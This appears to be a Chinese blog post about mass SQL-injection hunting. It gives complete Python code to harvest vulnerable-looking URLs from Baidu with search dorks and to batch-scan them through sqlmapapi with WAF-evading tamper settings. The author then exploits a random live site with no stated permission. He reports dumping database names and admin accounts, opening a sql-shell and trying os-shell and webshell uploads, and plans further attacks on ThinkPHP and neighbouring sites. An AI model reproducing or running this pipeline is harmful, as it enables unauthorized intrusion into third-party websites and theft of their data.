搞渗透测试的人都知道sqlmap,功能很强大(虽说有时并不准确),但每次只能检测一个url,手动挨个敲命令效率并不高;就算用-m参数,也要等一个任务结束后才能开始下一个,效率高不到哪去;于是官方推出了sqlmapapi.py,开放了api,可批量执行扫描任务,具体原理不再赘述,感兴趣的小伙伴可自行google一下;
一、目标站点的批量爬取:sqlmap跑批的问题解决了,批量的url怎么得到了?写过爬虫的小伙伴一定懂的:去爬搜索引擎呗!搜索引擎提供了强大的语法,比如site、inurl等关键词,可以让用户自定义目标站点;由于众所周知的原因,这里以百度为例,分享一下爬取目标站点的python代码,如下:
#coding: utf-8 import requests,re,threading import time from bs4 import BeautifulSoup as bs from queue import Queue from argparse import ArgumentParser arg = ArgumentParser(description='baidu_url_collection') arg.add_argument('keyword',help='inurl:.asp?id=1') arg.add_argument('-p', '--page', help='page count', dest='pagecount', type=int) arg.add_argument('-t', '--thread', help='the thread_count', dest='thread_count', type=int, default=10) arg.add_argument('-o', '--outfile', help='the file save result', dest='outfile', default='result.txt') result = arg.parse_args() headers = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)'} class Bd_url(threading.Thread): def __init__(self, que): threading.Thread.__init__(self) self._que = que def run(self): while not self._que.empty(): URL = self._que.get() try: self.bd_url_collect(URL) except Exception as e: print ('Exception: ',e) pass def bd_url_collect(self, url): r = requests.get(url, headers=headers, timeout=5) soup = bs(r.content, 'lxml', from_encoding='utf-8') bqs = soup.find_all(name='a', attrs={'data-click':re.compile(r'.'), 'class':None}) for bq in bqs: r = requests.get(bq['href'], headers=headers, timeout=5) if r.status_code == 200: print(r.url) with open(result.outfile, 'a') as f: f.write(r.url + ' ') def main(): thread = [] thread_count = result.thread_count que = Queue() for i in range(0,(result.pagecount)): que.put('https://www.baidu.com/s?wd=' + result.keyword + '&pn=' + str(i)) for i in range(thread_count): thread.append(Bd_url(que)) for i in thread: i.start() for i in thread: i.join() if __name__ == '__main__': start = time.perf_counter() main() end = time.perf_counter() urlcount = len(open(result.outfile,'rU').readlines()) with open(result.outfile, 'a') as f: f.write('--------use time:' + str(end-start) + '-----total url: ' + str(urlcount) + '----------------') print("total url: " + str(urlcount)) print(str(end - start) + "s") f.close()
代码的使用很简单,比如:python crawler.py -p 1000 -t 20 -o url.txt "inurl:php? id=10" ,这几个参数的含义分别是:需要爬取的url个数、开启的线程数、url保存的文件、url里面的关键词;跑完后会在同级目录下生成url.txt文件,里面有爬虫爬取的url;
二、url有了,怎么推送给sqlmapapi了?运行sqlmapapi很简单一行命令就搞定:重新开个cmd窗口,在sqlmap.py同目录下运行python sqlmapapi.py -s,后台就在8775端口监听命令了,如下:
服务已经启动,最后一步就是发送批量发送url了,这里也已经写好了python脚本,如下:
# -*- coding: utf-8 -*- import os import sys import json import time import requests def usage(): print ('+' + '-' * 50 + '+') print (' Python sqlmapapi') print (' Code BY:zhoumo') print ('+' + '-' * 50 + '+') if len(sys.argv) != 2: print ("example: sqlmapapi_test.py url.txt") sys.exit() def task_new(server): url = server + '/task/new' req = requests.get(url) taskid = req.json()['taskid'] success = req.json()['success'] return (success,taskid) def task_start(server,taskid,data,headers): url = server + '/scan/' + taskid + '/start' req = requests.post(url,json.dumps(data),headers = headers) success = req.json()['success'] return success def task_status(server,taskid): url = server + '/scan/' + taskid + '/status' req = requests.get(url) status_check = req.json()['status'] return status_check def task_log(server,taskid): url = server + '/scan/' + taskid + '/log' req = requests.get(url).text scan_json = json.loads(req)['log'] flag1 = 0 if scan_json: print (scan_json[-1]['message']) if 'retry' in scan_json[-1]['message']: flag1 = 1 else: flag1 = 0 return flag1 def task_data(server,taskid): url = server + '/scan/' + taskid + '/data' req = requests.get(url) vuln_data = req.json()['data'] if len(vuln_data): vuln = 1 else: vuln = 0 return vuln def task_stop(server,taskid): url = server + '/scan/' + taskid + '/stop' req = requests.get(url) success = req.json()['success'] return success def task_kill(server,taskid): url = server + '/scan/' + taskid + '/kill' req = requests.get(url) success = req.json()['success'] return success def task_delete(server,taskid): url = server + '/scan/' + taskid + '/delete' requests.get(url) def get_url(urls): newurl = [] for url in urls: if '?' in url and url not in newurl: newurl.append(url) return newurl if __name__ == "__main__": usage() targets = [x.rstrip() for x in open(sys.argv[1])] targets = get_url(targets) server = 'http://127.0.0.1:8775' headers = {'Content-Type':'application/json'} i= 0 vuln = [] for target in targets: try: data = {"url":target,'batch':True,'randomAgent':True,'tamper':'space2comment','tech':'BT','timeout':15,'level':1} i = i + 1 flag = 0 (new,taskid) = task_new(server) if new: print ("scan created") if not new: print ("create failed") start = task_start(server,taskid,data,headers) if start: print ("--------------->>> start scan target %s" % i) if not start: print ("scan can not be started") while start: start_time = time.time() status = task_status(server,taskid) if status == 'running': print ("scan running:") elif status == 'terminated': print ("scan terminated ") data = task_data(server,taskid) if data: print ("--------------->>> congratulation! %s is vuln " % target) f = open('injection.txt','a') f.write(target+' ') f.close() vuln.append(target) if not data: print ("--------------->>> the target is not vuln ") task_delete(server,taskid) break else: print ("scan get some error") break time.sleep(10) flag1 = task_log(server,taskid) flag = (flag + 1)*flag1 if (time.time() - start_time > 30) or (flag == 2): #此处设置检测超时时间,以及链接超时次数 print ("there maybe a strong waf or time is over,i will abandon this target.") stop = task_stop(server,taskid) if stop: print ("scan stoped") if not stop: print ("the scan can not be stopped") kill = task_kill(server,taskid) task_delete(server,taskid) if kill: print ("scan killed") if not kill: print ("the scan can not be killed") break except: pass for each in vuln: print (each + ' ')
使用方式很简单:cmd下直接运行 python sqlmap_bactch.py url.txt, 这个脚本会把刚才爬虫爬取的url批量发送到本机8775端口,sqlmapapi接受后会逐个检测这些url是否存在sql注入;
跑完后,如果url存在sql注入,会在同级目录下生成injection.txt文件,里面会列举有sql注入漏洞的站点。本次运气较好,发现两个;
三、随便选个站点人工验证一下:输入正常的url后能打开页面;
在id=10后面加个单引号试试,结果如下:也不知道开发是咋想的,直接在页面爆了两个关键信息:(1)用的是mysql库 (2)当前的sql查询语句,这里hai 可以直接看到库名;从这里就能反应开发的安全意识;不过还有个小细节:我输入的单引号在sql语句中被加上了转义,说明当初还是考虑到了安全问题........
剩下的就简单了,sqlmap一把梭,查到了4中注入方式:
继续查看数据库名:
还能拿sql-shell:管理员的表能看到账号,不过密码是MD5加密过的,不是明文;还有上次登陆的时间和ip也都记录了;(这里打个岔,既然记录ip,这里也可能存在sql注入,比如用burp抓包,改x-forward-for字段);
不过拿os-shell就没那么顺利了:尝试遍历所有目录上传文件都是失败
通过--priviliges一查,发现果然是权限不够,只是usage.....
一句话小马也写不进去:
在现有的条件下,暂时想不出提示权限、写小马的办法,也不知道怎么查绝对路径(不知道小马该放哪),这里暂时放弃;
通过fofa,发现该站点用了thinkPHP,后续会继续利用该框架现有的漏洞再尝试;
同一个ip地址,还发现好几个其他的站点,这些站点有没有可能存在漏洞,能上传小马了?后续都会尝试
参考:1、https://www.cnblogs.com/BxScope/p/10883422.html 对利用sqlmap获取os-shell过程的一次抓包分析